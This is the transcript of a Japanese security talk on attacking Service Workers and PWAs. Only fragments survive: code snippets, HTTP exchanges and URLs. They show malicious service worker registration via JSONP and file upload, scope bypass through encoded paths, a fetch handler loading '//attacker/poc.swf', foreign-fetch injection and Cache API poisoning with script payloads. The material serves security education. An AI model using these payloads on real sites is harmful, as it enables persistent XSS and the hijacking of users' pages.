攻撃者視点で見る Service Worker / PWA Study SW

PWA Study( https://web-study.connpass.com/event/65267/ ) で発表した資料です。

Transcript

3. • •
4. • • • <script> navigator.serviceWorker.register("/sw.js") </script>
5. • • •
6. • • https://html5experts.jp/kyo_ago/5153/ https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=23
8. HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 [...] alert(1)//({});
9. <script> navigator.serviceWorker.register("/jsonp?callback=[SW_HERE]//"); </script> HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 [...] onfetch=event=>console.log('fetch')//({});
10. <script> var formData = new FormData(); formData.append("csrf_token", "secret"); var sw = "/* [SW_CODE] */"; var blob = new Blob([sw], { type: "text/javascript"}); formData.append("file", blob, "sw.js"); fetch("/upload", {method: "POST", body: formData}) .then(/* Register SW */); </script>
11. • •
12. • • onfetch=e=>{ body = '<script>alert(1)</script>'; init = {headers: {'content-type': 'text/html'}}; e.respondWith(new Response(body,init)); }
13. • • • <script> navigator.serviceWorker.register("/sw.js", {scope: "/"}) </script>
14. • • "/assets/js/sw.js", {scope: "https://other.example.com/"} "/assets/js/sw.js", {scope: "/assets/"} "/assets/js/sw.js", {scope: "/assets/css/"} "/assets/js/sw.js", {scope: "/assets/js/"} "/assets/js/sw.js", {scope: "/assets/js/sub/"}
15. HTTP/1.1 200 OK content-type: text/javascript service-worker-allowed: / [...]
16. https://example.com/api/jsonp https://example.com/api%2Fjsonp
17. ❝ ❞
18. https://example.com/out-of-scope/ https://example.com/foo/..%2Fout-of-scope%2F
20. • • •
21. onfetch=e=>{ e.respondWith(fetch("//attacker/poc.swf")) } •
22. <?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="example.jp" /> </cross-domain-policy> https://github.com/cure53/XSSChallengeWiki/wiki/XSSMas-Challenge-2016
23. ❝ ❞
24. <script src="//example.com/socialbutton.js"></script>
25. self.addEventListener('install', e => { e.registerForeignFetch({ scopes: ['/'], origins: ['*']// }); }); onforeignfetch = e => { e.respondWith(fetch(e.request).then(res => ({ response: new Response('alert(1)')// }))) }
26. • •
27. onfetch = event => { event.respondWith( caches.open("v1").then(function(cache) { return cache.match(event.request).then(function(response) { if (response) { return response;// } else { return fetch(event.request.clone()).then(function(response) { cache.put(event.request, response.clone());// return response; }); } }) }) ); };
28. <script> caches.open("v1").then(function(cache){ content = "<script>alert(1)</script>"; init = {headers: {"content-type": "text/html"}}; request = new Request("poison.html"); response = new Response(content, init); cache.put(request, response); }) </script>
29. <script> document.write(localStorage.getItem('name')); </script>
30. • • •
31. • • HTTP/1.1 200 OK Content-Type:text/html Clear-Site-Data: "storage"
32. GET https://example.com/sw.js HTTP/1.1 Host: example.com Connection: keep-alive Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36 Accept: */* Service-Worker: script Referer: https://example.com/ Accept-Encoding: gzip, deflate, br Accept-Language: ja,en;q=0.8,en-US;q=0.6
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